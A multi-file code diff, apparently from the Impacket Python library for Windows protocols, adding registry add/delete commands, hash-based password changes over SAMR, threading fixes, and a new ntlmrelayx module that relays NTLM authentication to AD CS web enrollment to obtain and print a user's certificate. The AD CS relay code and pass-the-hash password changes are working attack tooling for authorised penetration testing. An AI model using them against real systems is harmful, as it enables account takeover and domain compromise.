@@ -330,7 +504,7 @@ if __name__ == '__main__':
|
||||
query_parser.add_argument('-keyName', action='store', required=True,
|
||||
help='Specifies the full path of the subkey. The '
|
||||
'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'
|
||||
' HKU.')
|
||||
' HKU, HKCR.')
|
||||
query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry '
|
||||
'value name that is to be queried. If omitted, all value names for keyName are returned. ')
|
||||
query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default '
|
||||
@@ -339,10 +513,30 @@ if __name__ == '__main__':
|
||||
'names recursively.')
|
||||
|
||||
# An add command
|
||||
# add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry')
|
||||
add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry')
|
||||
add_parser.add_argument('-keyName', action='store', required=True,
|
||||
help='Specifies the full path of the subkey. The '
|
||||
'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'
|
||||
' HKU, HKCR.')
|
||||
add_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry '
|
||||
'value name that is to be set.')
|
||||
add_parser.add_argument('-vt', action='store', metavar="VALUETYPE", required=False, help='Specifies the registry '
|
||||
'type name that is to be set. Default is REG_SZ. Valid types are: REG_NONE, REG_SZ, REG_EXPAND_SZ, '
|
||||
'REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_QWORD',
|
||||
default='REG_SZ')
|
||||
add_parser.add_argument('-vd', action='store', metavar="VALUEDATA", required=False, help='Specifies the registry '
|
||||
'value data that is to be set.', default='')
|
||||
|
||||
# An delete command
|
||||
# delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry')
|
||||
delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry')
|
||||
delete_parser.add_argument('-keyName', action='store', required=True,
|
||||
help='Specifies the full path of the subkey. The '
|
||||
'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,'
|
||||
' HKU, HKCR.')
|
||||
delete_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry '
|
||||
'value name that is to be deleted.')
|
||||
delete_parser.add_argument('-va', action='store_true', required=False, help='Delete all values under this key.')
|
||||
delete_parser.add_argument('-ve', action='store_true', required=False, help='Delete the value of empty value name (Default).')
|
||||
|
||||
# A copy command
|
||||
# copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote '
|
||||
|
||||
+138
-71
@@ -8,55 +8,62 @@
|
||||
# for more information.
|
||||
#
|
||||
# Description:
|
||||
# This script is an alternative to smbpasswd tool and intended to be used
|
||||
# for changing expired passwords remotely over SMB (MSRPC-SAMR).
|
||||
# This script is an alternative to smbpasswd tool and intended to be used
|
||||
# for changing passwords remotely over SMB (MSRPC-SAMR). It can perform the
|
||||
# password change when the current password is expired, and supports NTLM
|
||||
# hashes as a new password value instead of a plaintext value. As for the
|
||||
# latter approach the new password is flagged as expired after the change
|
||||
# due to how SamrChangePasswordUser function works.
|
||||
#
|
||||
# Examples:
|
||||
# smbpasswd.py j.doe@PC01.megacorp.local
|
||||
# smbpasswd.py j.doe:'Passw0rd!'@10.10.13.37 -newpass 'N3wPassw0rd!'
|
||||
# smbpasswd.py -hashes :fc525c9683e8fe067095ba2ddc971889 [email protected] -newpass 'N3wPassw0rd!'
|
||||
# smbpasswd.py j.doe@192.168.1.11
|
||||
# smbpasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889
|
||||
# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!'
|
||||
# smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb
|
||||
#
|
||||
# Author:
|
||||
# Sam Freeside (@snovvcrash)
|
||||
# @snovvcrash
|
||||
# @bransh
|
||||
#
|
||||
# References:
|
||||
# - https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html
|
||||
# - https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c
|
||||
# - https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880
|
||||
# https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html
|
||||
# https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c
|
||||
# https://github.com/SecureAuthCorp/impacket/pull/381
|
||||
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880
|
||||
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476
|
||||
#
|
||||
|
||||
import sys
|
||||
import logging
|
||||
from getpass import getpass
|
||||
from argparse import ArgumentParser
|
||||
|
||||
from impacket.dcerpc.v5 import transport, samr
|
||||
from impacket import version
|
||||
from impacket.examples import logger
|
||||
from impacket.examples.utils import parse_target
|
||||
from impacket.dcerpc.v5 import transport, samr
|
||||
|
||||
|
||||
class SMBPasswd:
|
||||
|
||||
def __init__(self, userName, oldPwd, newPwd, oldPwdHashLM, oldPwdHashNT, target):
|
||||
self.userName = userName
|
||||
self.oldPwd = oldPwd
|
||||
self.newPwd = newPwd
|
||||
def __init__(self, domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT, hostname):
|
||||
self.domain = domain
|
||||
self.username = username
|
||||
self.oldPassword = oldPassword
|
||||
self.newPassword = newPassword
|
||||
self.oldPwdHashLM = oldPwdHashLM
|
||||
self.oldPwdHashNT = oldPwdHashNT
|
||||
self.target = target
|
||||
self.newPwdHashLM = newPwdHashLM
|
||||
self.newPwdHashNT = newPwdHashNT
|
||||
self.hostname = hostname
|
||||
self.dce = None
|
||||
|
||||
try:
|
||||
self.connect()
|
||||
except Exception as e:
|
||||
if 'STATUS_ACCESS_DENIED' in str(e):
|
||||
print('[-] Access was denied when attempting to initialize a null session. Try changing the password with smbclient.py.')
|
||||
else:
|
||||
raise e
|
||||
|
||||
def connect(self):
|
||||
rpctransport = transport.SMBTransport(self.target, filename=r'\samr')
|
||||
if hasattr(rpctransport, 'set_credentials'):
|
||||
# Initializing a null session to be able to change an expired password
|
||||
def connect(self, anonymous=False):
|
||||
rpctransport = transport.SMBTransport(self.hostname, filename=r'\samr')
|
||||
if anonymous:
|
||||
rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='')
|
||||
else:
|
||||
rpctransport.set_credentials(self.username, self.oldPassword, self.domain, self.oldPwdHashLM, self.oldPwdHashNT, aesKey='')
|
||||
|
||||
self.dce = rpctransport.get_dce_rpc()
|
||||
self.dce.connect()
|
||||
@@ -64,70 +71,130 @@ class SMBPasswd:
|
||||
|
||||
def hSamrUnicodeChangePasswordUser2(self):
|
||||
try:
|
||||
resp = samr.hSamrUnicodeChangePasswordUser2(self.dce, '\x00', self.userName, self.oldPwd, self.newPwd, self.oldPwdHashLM, self.oldPwdHashNT)
|
||||
resp = samr.hSamrUnicodeChangePasswordUser2(self.dce, '\x00', self.username, self.oldPassword, self.newPassword, self.oldPwdHashLM, self.oldPwdHashNT)
|
||||
except Exception as e:
|
||||
if 'STATUS_WRONG_PASSWORD' in str(e):
|
||||
print('[-] Current SMB password is not correct.')
|
||||
elif 'STATUS_PASSWORD_RESTRICTION' in str(e):
|
||||
print('[-] Some password update rule has been violated. For example, the password may not meet length criteria.')
|
||||
if 'STATUS_PASSWORD_RESTRICTION' in str(e):
|
||||
logging.critical('Some password update rule has been violated. For example, the password may not meet length criteria.')
|
||||
else:
|
||||
raise e
|
||||
else:
|
||||
if resp['ErrorCode'] == 0:
|
||||
print('[+] Password was changed successfully.')
|
||||
logging.info('Password was changed successfully.')
|
||||
else:
|
||||
print('[?] Non-zero return code, something weird happened.')
|
||||
logging.error('Non-zero return code, something weird happened.')
|
||||
resp.dump()
|
||||
|
||||
def hSamrChangePasswordUser(self):
|
||||
serverHandle = samr.hSamrConnect(self.dce, self.hostname + '\x00')['ServerHandle']
|
||||
domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId']
|
||||
domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle']
|
||||
userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0]
|
||||
userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle']
|
||||
|
||||
try:
|
||||
resp = samr.hSamrChangePasswordUser(self.dce, userHandle, self.oldPassword, newPassword='', oldPwdHashNT=self.oldPwdHashNT,
|
||||
newPwdHashLM=self.newPwdHashLM, newPwdHashNT=self.newPwdHashNT)
|
||||
except Exception as e:
|
||||
if 'STATUS_PASSWORD_RESTRICTION' in str(e):
|
||||
logging.critical('Some password update rule has been violated. For example, the password history policy may prohibit the use of recent passwords.')
|
||||
else:
|
||||
raise e
|
||||
else:
|
||||
if resp['ErrorCode'] == 0:
|
||||
logging.info('NTLM hashes were changed successfully.')
|
||||
else:
|
||||
logging.error('Non-zero return code, something weird happened.')
|
||||
resp.dump()
|
||||
|
||||
|
||||
def normalize_args(args):
|
||||
try:
|
||||
credentials, target = args.target.rsplit('@', 1)
|
||||
except ValueError:
|
||||
print('Wrong target string format. For more information run with --help option.')
|
||||
sys.exit(1)
|
||||
def init_logger(options):
|
||||
logger.init(options.ts)
|
||||
if options.debug is True:
|
||||
logging.getLogger().setLevel(logging.DEBUG)
|
||||
logging.debug(version.getInstallationPath())
|
||||
else:
|
||||
logging.getLogger().setLevel(logging.INFO)
|
||||
|
||||
if args.hashes is not None:
|
||||
|
||||
def parse_args():
|
||||
parser = ArgumentParser(description='Change password over SMB.')
|
||||
|
||||
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
|
||||
parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
|
||||
parser.add_argument('-debug', action='store_true', help='turn DEBUG output ON')
|
||||
group = parser.add_mutually_exclusive_group()
|
||||
group.add_argument('-newpass', action='store', default=None, help='new SMB password')
|
||||
group.add_argument('-newhashes', action='store', default=None, metavar='LMHASH:NTHASH', help='new NTLM hashes, format is LMHASH:NTHASH '
|
||||
'(the user will be asked to change their password at next logon)')
|
||||
group = parser.add_argument_group('authentication')
|
||||
group.add_argument('-hashes', action='store', default=None, metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH')
|
||||
|
||||
return parser.parse_args()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
print(version.BANNER)
|
||||
|
||||
options = parse_args()
|
||||
init_logger(options)
|
||||
|
||||
domain, username, oldPassword, address = parse_target(options.target)
|
||||
|
||||
if domain is None:
|
||||
domain = 'Builtin'
|
||||
|
||||
if options.hashes is not None:
|
||||
try:
|
||||
oldPwdHashLM, oldPwdHashNT = args.hashes.split(':')
|
||||
oldPwdHashLM, oldPwdHashNT = options.hashes.split(':')
|
||||
except ValueError:
|
||||
print('Wrong hashes string format. For more information run with --help option.')
|
||||
logging.critical('Wrong hashes string format. For more information run with --help option.')
|
||||
sys.exit(1)
|
||||
else:
|
||||
oldPwdHashLM = ''
|
||||
oldPwdHashNT = ''
|
||||
|
||||
try:
|
||||
userName, oldPwd = credentials.split(':', 1)
|
||||
except ValueError:
|
||||
userName = credentials
|
||||
if oldPwdHashNT == '':
|
||||
oldPwd = getpass('Current SMB password: ')
|
||||
else:
|
||||
oldPwd = ''
|
||||
if oldPassword == '' and oldPwdHashNT == '':
|
||||
oldPassword = getpass('Current SMB password: ')
|
||||
|
||||
if args.newpass is None:
|
||||
newPwd = getpass('New SMB password: ')
|
||||
if newPwd != getpass('Retype new SMB password: '):
|
||||
print('Password does not match, try again.')
|
||||
if options.newhashes is not None:
|
||||
try:
|
||||
newPwdHashLM, newPwdHashNT = options.newhashes.split(':')
|
||||
except ValueError:
|
||||
logging.critical('Wrong new hashes string format. For more information run with --help option.')
|
||||
sys.exit(1)
|
||||
newPassword = ''
|
||||
else:
|
||||
newPwd = args.newpass
|
||||
newPwdHashLM = ''
|
||||
newPwdHashNT = ''
|
||||
if options.newpass is None:
|
||||
newPassword = getpass('New SMB password: ')
|
||||
if newPassword != getpass('Retype new SMB password: '):
|
||||
logging.critical('Passwords do not match, try again.')
|
||||
sys.exit(1)
|
||||
else:
|
||||
newPassword = options.newpass
|
||||
|
||||
return (userName, oldPwd, newPwd, oldPwdHashLM, oldPwdHashNT, target)
|
||||
smbpasswd = SMBPasswd(domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT, address)
|
||||
|
||||
try:
|
||||
smbpasswd.connect()
|
||||
except Exception as e:
|
||||
if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']):
|
||||
if newPassword:
|
||||
logging.warning('Password is expired, trying to bind with a null session.')
|
||||
smbpasswd.connect(anonymous=True)
|
||||
else:
|
||||
logging.critical('Cannot set new NTLM hashes when current password is expired. Provide a plaintext value for the new password.')
|
||||
sys.exit(1)
|
||||
elif 'STATUS_LOGON_FAILURE' in str(e):
|
||||
logging.critical('Authentication failure.')
|
||||
sys.exit(1)
|
||||
else:
|
||||
raise e
|
||||
|
||||
if __name__ == '__main__':
|
||||
print (version.BANNER)
|
||||
|
||||
parser = ArgumentParser(description='Change password over SMB.')
|
||||
parser.add_argument('target', action='store', help='<username[:password]>@<target_hostname_or_IP_address>')
|
||||
parser.add_argument('-newpass', action='store', default=None, help='new SMB password')
|
||||
group = parser.add_argument_group('authentication')
|
||||
group.add_argument('-hashes', action='store', default=None, metavar='LMHASH:NTHASH', help='current NTLM hashes, format is LMHASH:NTHASH')
|
||||
args = parser.parse_args()
|
||||
|
||||
userName, oldPwd, newPwd, oldPwdHashLM, oldPwdHashNT, target = normalize_args(args)
|
||||
|
||||
smbpasswd = SMBPasswd(userName, oldPwd, newPwd, oldPwdHashLM, oldPwdHashNT, target)
|
||||
smbpasswd.hSamrUnicodeChangePasswordUser2()
|
||||
if newPassword:
|
||||
# If using a plaintext value for the new password
|
||||
smbpasswd.hSamrUnicodeChangePasswordUser2()
|
||||
else:
|
||||
# If using NTLM hashes for the new password
|
||||
smbpasswd.hSamrChangePasswordUser()
|
||||
@@ -32,7 +32,7 @@ from __future__ import division
|
||||
from __future__ import print_function
|
||||
import socket
|
||||
from struct import pack
|
||||
from threading import Timer, currentThread
|
||||
from threading import Timer, current_thread
|
||||
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRTLSTRUCT, UNKNOWNDATA
|
||||
from impacket.dcerpc.v5.dtypes import LPWSTR, ULONGLONG, HRESULT, GUID, USHORT, WSTR, DWORD, LPLONG, LONG, PGUID, ULONG, \
|
||||
@@ -1090,7 +1090,7 @@ class DCOMConnection:
|
||||
DCOMConnection.PINGTIMER.join()
|
||||
DCOMConnection.PINGTIMER = None
|
||||
if self.__target in INTERFACE.CONNECTIONS:
|
||||
del(INTERFACE.CONNECTIONS[self.__target][currentThread().getName()])
|
||||
del(INTERFACE.CONNECTIONS[self.__target][current_thread().name])
|
||||
self.__portmap.disconnect()
|
||||
#print INTERFACE.CONNECTIONS
|
||||
|
||||
@@ -1146,7 +1146,7 @@ class INTERFACE:
|
||||
# We gotta check if we have a container inside our connection list, if not, create
|
||||
if (self.__target in INTERFACE.CONNECTIONS) is not True:
|
||||
INTERFACE.CONNECTIONS[self.__target] = {}
|
||||
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {}
|
||||
INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {}
|
||||
|
||||
if objRef is not None:
|
||||
self.process_interface(objRef)
|
||||
@@ -1206,7 +1206,7 @@ class INTERFACE:
|
||||
return self.__ipidRemUnknown
|
||||
|
||||
def get_dce_rpc(self):
|
||||
return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce']
|
||||
return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce']
|
||||
|
||||
def get_cinstance(self):
|
||||
return self.__cinstance
|
||||
@@ -1214,12 +1214,12 @@ class INTERFACE:
|
||||
def set_cinstance(self, cinstance):
|
||||
self.__cinstance = cinstance
|
||||
|
||||
def is_fdqn(self):
|
||||
def is_fqdn(self):
|
||||
# I will assume the following
|
||||
# If I can't socket.inet_aton() then it's not an IPv4 address
|
||||
# Same for ipv6, but since socket.inet_pton is not available in Windows, I'll look for ':'. There can't be
|
||||
# an FQDN with ':'
|
||||
# Is it isn't both, then it is a FDQN
|
||||
# Is it isn't both, then it is a FQDN
|
||||
try:
|
||||
socket.inet_aton(self.__target)
|
||||
except:
|
||||
@@ -1227,30 +1227,29 @@ class INTERFACE:
|
||||
try:
|
||||
self.__target.index(':')
|
||||
except:
|
||||
# Not an IPv6, it's a FDQN
|
||||
# Not an IPv6, it's a FQDN
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def connect(self, iid = None):
|
||||
if (self.__target in INTERFACE.CONNECTIONS) is True:
|
||||
if currentThread().getName() in INTERFACE.CONNECTIONS[self.__target] and \
|
||||
(self.__oxid in INTERFACE.CONNECTIONS[self.__target][currentThread().getName()]) is True:
|
||||
dce = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce']
|
||||
currentBinding = INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding']
|
||||
if current_thread().name in INTERFACE.CONNECTIONS[self.__target] and \
|
||||
(self.__oxid in INTERFACE.CONNECTIONS[self.__target][current_thread().name]) is True:
|
||||
dce = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce']
|
||||
currentBinding = INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding']
|
||||
if currentBinding == iid:
|
||||
# We don't need to alter_ctx
|
||||
pass
|
||||
else:
|
||||
newDce = dce.alter_ctx(iid)
|
||||
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = newDce
|
||||
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid
|
||||
INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = newDce
|
||||
INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid
|
||||
else:
|
||||
stringBindings = self.get_cinstance().get_string_bindings()
|
||||
# No OXID present, we should create a new connection and store it
|
||||
stringBinding = None
|
||||
isTargetFDQN = self.is_fdqn()
|
||||
LOG.debug('Target system is %s and isFDQN is %s' % (self.get_target(), isTargetFDQN))
|
||||
isTargetFQDN = self.is_fqdn()
|
||||
LOG.debug('Target system is %s and isFQDN is %s' % (self.get_target(), isTargetFQDN))
|
||||
for strBinding in stringBindings:
|
||||
# Here, depending on the get_target() value several things can happen
|
||||
# 1) it's an IPv4 address
|
||||
@@ -1272,7 +1271,7 @@ class INTERFACE:
|
||||
stringBinding = 'ncacn_ip_tcp:' + strBinding['aNetworkAddr'][:-1]
|
||||
break
|
||||
# If get_target() is a FQDN, does it match the hostname?
|
||||
elif isTargetFDQN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0:
|
||||
elif isTargetFQDN and binding.upper().find(self.get_target().upper().partition('.')[0]) >= 0:
|
||||
# Here we replace the aNetworkAddr with self.get_target()
|
||||
# This is to help resolving the target system name.
|
||||
# self.get_target() has been resolved already otherwise we wouldn't be here whereas
|
||||
@@ -1313,10 +1312,10 @@ class INTERFACE:
|
||||
#traceback.print_stack()
|
||||
raise Exception("OXID NONE, something wrong!!!")
|
||||
|
||||
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()] = {}
|
||||
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid] = {}
|
||||
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'] = dce
|
||||
INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['currentBinding'] = iid
|
||||
INTERFACE.CONNECTIONS[self.__target][current_thread().name] = {}
|
||||
INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid] = {}
|
||||
INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'] = dce
|
||||
INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['currentBinding'] = iid
|
||||
else:
|
||||
# No connection created
|
||||
raise Exception('No connection created')
|
||||
@@ -1339,7 +1338,7 @@ class INTERFACE:
|
||||
return resp
|
||||
|
||||
def disconnect(self):
|
||||
return INTERFACE.CONNECTIONS[self.__target][currentThread().getName()][self.__oxid]['dce'].disconnect()
|
||||
return INTERFACE.CONNECTIONS[self.__target][current_thread().name][self.__oxid]['dce'].disconnect()
|
||||
|
||||
|
||||
# 3.1.1.5.6.1 IRemUnknown Methods
|
||||
|
||||
@@ -2738,15 +2738,38 @@ def hSamrGetAliasMembership(dce, domainHandle, sidArray):
|
||||
request['SidArray']['Count'] = len(sidArray['Sids'])
|
||||
return dce.request(request)
|
||||
|
||||
def hSamrChangePasswordUser(dce, userHandle, oldPassword, newPassword):
|
||||
def hSamrChangePasswordUser(dce, userHandle, oldPassword, newPassword, oldPwdHashNT='', newPwdHashLM='', newPwdHashNT=''):
|
||||
request = SamrChangePasswordUser()
|
||||
request['UserHandle'] = userHandle
|
||||
|
||||
from impacket import crypto, ntlm
|
||||
|
||||
oldPwdHashNT = ntlm.NTOWFv1(oldPassword)
|
||||
newPwdHashNT = ntlm.NTOWFv1(newPassword)
|
||||
newPwdHashLM = ntlm.LMOWFv1(newPassword)
|
||||
if oldPwdHashNT == '':
|
||||
oldPwdHashNT = ntlm.NTOWFv1(oldPassword)
|
||||
else:
|
||||
# Let's convert the hashes to binary form, if not yet
|
||||
try:
|
||||
oldPwdHashNT = unhexlify(oldPwdHashNT)
|
||||
except:
|
||||
pass
|
||||
|
||||
if newPwdHashLM == '':
|
||||
newPwdHashLM = ntlm.LMOWFv1(newPassword)
|
||||
else:
|
||||
# Let's convert the hashes to binary form, if not yet
|
||||
try:
|
||||
newPwdHashLM = unhexlify(newPwdHashLM)
|
||||
except:
|
||||
pass
|
||||
|
||||
if newPwdHashNT == '':
|
||||
newPwdHashNT = ntlm.NTOWFv1(newPassword)
|
||||
else:
|
||||
# Let's convert the hashes to binary form, if not yet
|
||||
try:
|
||||
newPwdHashNT = unhexlify(newPwdHashNT)
|
||||
except:
|
||||
pass
|
||||
|
||||
request['LmPresent'] = 0
|
||||
request['OldLmEncryptedWithNewLm'] = NULL
|
||||
|
||||
@@ -30,11 +30,12 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException, DCERPC_v5, DCERPC_v4
|
||||
from impacket.dcerpc.v5.rpch import RPCProxyClient, RPCProxyClientException, RPC_OVER_HTTP_v1, RPC_OVER_HTTP_v2
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
|
||||
class DCERPCStringBinding:
|
||||
parser = re.compile(r'(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?' # UUID (opt.)
|
||||
+'([_a-zA-Z0-9]*):' # Protocol Sequence
|
||||
+'([^\[]*)' # Network Address (opt.)
|
||||
+'(?:\[([^\]]*)\])?') # Endpoint and options (opt.)
|
||||
parser = re.compile(r"(?:([a-fA-F0-9-]{8}(?:-[a-fA-F0-9-]{4}){3}-[a-fA-F0-9-]{12})@)?" + # UUID (opt.)
|
||||
r"([_a-zA-Z0-9]*):" + # Protocol Sequence
|
||||
r"([^\[]*)" + # Network Address (opt.)
|
||||
r"(?:\[([^]]*)])?") # Endpoint and options (opt.)
|
||||
|
||||
def __init__(self, stringbinding):
|
||||
match = DCERPCStringBinding.parser.match(stringbinding)
|
||||
@@ -90,6 +91,7 @@ class DCERPCStringBinding:
|
||||
def __str__(self):
|
||||
return DCERPCStringBindingCompose(self.__uuid, self.__ps, self.__na, self.__endpoint, self.__options)
|
||||
|
||||
|
||||
def DCERPCStringBindingCompose(uuid=None, protocol_sequence='', network_address='', endpoint='', options={}):
|
||||
s = ''
|
||||
if uuid:
|
||||
@@ -105,6 +107,7 @@ def DCERPCStringBindingCompose(uuid=None, protocol_sequence='', network_address=
|
||||
|
||||
return s
|
||||
|
||||
|
||||
def DCERPCTransportFactory(stringbinding):
|
||||
sb = DCERPCStringBinding(stringbinding)
|
||||
|
||||
|
||||
@@ -13,12 +13,15 @@
|
||||
# Authors:
|
||||
# Alberto Solino (@agsolino)
|
||||
# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
|
||||
#
|
||||
# Ex Android Dev (@ExAndroidDev)
|
||||
|
||||
from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
|
||||
from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack
|
||||
|
||||
PROTOCOL_ATTACK_CLASS = "HTTPAttack"
|
||||
|
||||
class HTTPAttack(ProtocolAttack):
|
||||
|
||||
class HTTPAttack(ProtocolAttack, ADCSAttack):
|
||||
"""
|
||||
This is the default HTTP attack. This attack only dumps the root page, though
|
||||
you can add any complex attack below. self.client is an instance of urrlib.session
|
||||
@@ -26,26 +29,17 @@ class HTTPAttack(ProtocolAttack):
|
||||
proxy through ntlmrelayx
|
||||
"""
|
||||
PLUGIN_NAMES = ["HTTP", "HTTPS"]
|
||||
|
||||
def run(self):
|
||||
#Default action: Dump requested page to file, named username-targetname.html
|
||||
|
||||
#You can also request any page on the server via self.client.session,
|
||||
#for example with:
|
||||
self.client.request("GET", "/")
|
||||
r1 = self.client.getresponse()
|
||||
print(r1.status, r1.reason)
|
||||
data1 = r1.read()
|
||||
print(data1)
|
||||
|
||||
#Remove protocol from target name
|
||||
#safeTargetName = self.client.target.replace('http://','').replace('https://','')
|
||||
|
||||
#Replace any special chars in the target name
|
||||
#safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName)
|
||||
|
||||
#Combine username with filename
|
||||
#fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html'
|
||||
|
||||
#Write it to the file
|
||||
#with open(os.path.join(self.config.lootdir,fileName),'w') as of:
|
||||
# of.write(self.client.lastresult)
|
||||
if self.config.isADCSAttack:
|
||||
ADCSAttack._run(self)
|
||||
else:
|
||||
# Default action: Dump requested page to file, named username-targetname.html
|
||||
# You can also request any page on the server via self.client.session,
|
||||
# for example with:
|
||||
self.client.request("GET", "/")
|
||||
r1 = self.client.getresponse()
|
||||
print(r1.status, r1.reason)
|
||||
data1 = r1.read()
|
||||
print(data1)
|
||||
Whitespace-only changes.
@@ -0,0 +1,88 @@
|
||||
# Impacket - Collection of Python classes for working with network protocols.
|
||||
#
|
||||
# SECUREAUTH LABS. Copyright (C) 2018 SecureAuth Corporation. All rights reserved.
|
||||
#
|
||||
# This software is provided under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Description:
|
||||
# AD CS relay attack
|
||||
#
|
||||
# Authors:
|
||||
# Ex Android Dev (@ExAndroidDev)
|
||||
# Tw1sm (@Tw1sm)
|
||||
|
||||
import re
|
||||
import base64
|
||||
from OpenSSL import crypto
|
||||
|
||||
from impacket import LOG
|
||||
|
||||
# cache already attacked clients
|
||||
ELEVATED = []
|
||||
|
||||
|
||||
class ADCSAttack:
|
||||
|
||||
def _run(self):
|
||||
key = crypto.PKey()
|
||||
key.generate_key(crypto.TYPE_RSA, 4096)
|
||||
|
||||
if self.username in ELEVATED:
|
||||
LOG.info('Skipping user %s since attack was already performed' % self.username)
|
||||
return
|
||||
csr = self.generate_csr(key, self.username)
|
||||
csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+")
|
||||
LOG.info("CSR generated!")
|
||||
|
||||
data = "Mode=newreq&CertRequest=%s&CertAttrib=CertificateTemplate:%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, self.config.template)
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
"Content-Length": len(data)
|
||||
}
|
||||
|
||||
LOG.info("Getting certificate...")
|
||||
|
||||
self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers)
|
||||
ELEVATED.append(self.username)
|
||||
response = self.client.getresponse()
|
||||
|
||||
if response.status != 200:
|
||||
LOG.error("Error getting certificate! Make sure you have entered valid certiface template.")
|
||||
return
|
||||
|
||||
content = response.read()
|
||||
found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode())
|
||||
if len(found) == 0:
|
||||
LOG.error("Error obtaining certificate!")
|
||||
return
|
||||
|
||||
certificate_id = found[0]
|
||||
|
||||
self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id)
|
||||
response = self.client.getresponse()
|
||||
|
||||
LOG.info("GOT CERTIFICATE!")
|
||||
certificate = response.read().decode()
|
||||
|
||||
certificate_store = self.generate_pfx(key, certificate)
|
||||
LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode()))
|
||||
|
||||
def generate_csr(self, key, CN):
|
||||
LOG.info("Generating CSR...")
|
||||
req = crypto.X509Req()
|
||||
req.get_subject().CN = CN
|
||||
req.set_pubkey(key)
